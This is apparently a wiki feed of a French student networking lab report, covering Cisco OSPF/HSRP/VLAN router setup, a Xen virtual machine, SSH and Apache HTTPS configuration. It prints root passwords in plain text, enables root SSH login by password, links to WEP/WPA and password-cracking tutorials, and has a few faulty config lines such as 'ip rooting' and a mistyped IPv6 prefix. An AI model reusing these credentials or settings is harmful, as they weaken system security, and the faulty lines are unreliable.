   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51580</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51580"/>
				<updated>2019-12-07T03:09:11Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Cryptage de fichiers */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
